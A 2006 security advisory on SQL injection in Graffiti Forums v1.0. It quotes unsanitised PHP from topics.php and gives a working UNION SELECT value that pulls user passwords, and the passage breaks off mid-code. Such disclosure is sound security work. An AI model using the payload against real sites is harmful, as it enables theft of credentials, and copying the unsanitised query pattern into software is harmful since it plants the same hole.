/* -------------------------------------------------------- [N]eo [S]ecurity [T]eam [NST] - Advisory #24 - 08/07/06 -------------------------------------------------------- Program: Graffiti Forums Homepage: http://www.bluedojo.com/ Vulnerable Versions: 1.0. Risk: High! Impact: Critical Risk -==Graffiti Forums v1.0 SQL Injection Vulnerabilities==- --------------------------------------------------------- - Description --------------------------------------------------------- This forum uses PHP, MySQL, and Java and is very easy to install. It lets people draw pictures to a graffiti "wall" instead of posting text messages as in traditional forums. - Tested --------------------------------------------------------- localhost - Explotation -------------------------------------------------º-------- 1) Vulnerable code: ==[ topics.php 8-11 ]========================== [...] $sql = "SELECT forum FROM graffiti_forums WHERE id=$f"; $result = mysql_query($sql); $sql_row = mysql_fetch_row($result); $forum_title = $sql_row[0]; [...] ==[ end topics.php ]========================== How we can see there's no protection for the using of simple quotes in the sql query. Also we have to say that the script doesn't work with register_globals off. In this way, we can put in the $f variable something like that 2 UNION SELECT password as forum FROM graffiti_users So the sql query looks like this: SELECT forum FROM graffiti_forums WHERE id=2 UNION SELECT password as forum FROM graffiti_users ´ Here, 2 is a valid forum id. Using some ORDER BY clauses you can get differents things... check it out. 2) ==[ topics.php 21-32 ]========================== [...] if (!$option){ $sql = "SELECT id, topic FROM graffiti_topics WHERE id_forum=" . $f; if ($result = mysql_query($sql)){ echo("
");
$id = $sql_row[0];
$topic = $sql_row[1];
echo("");
echo("![]() |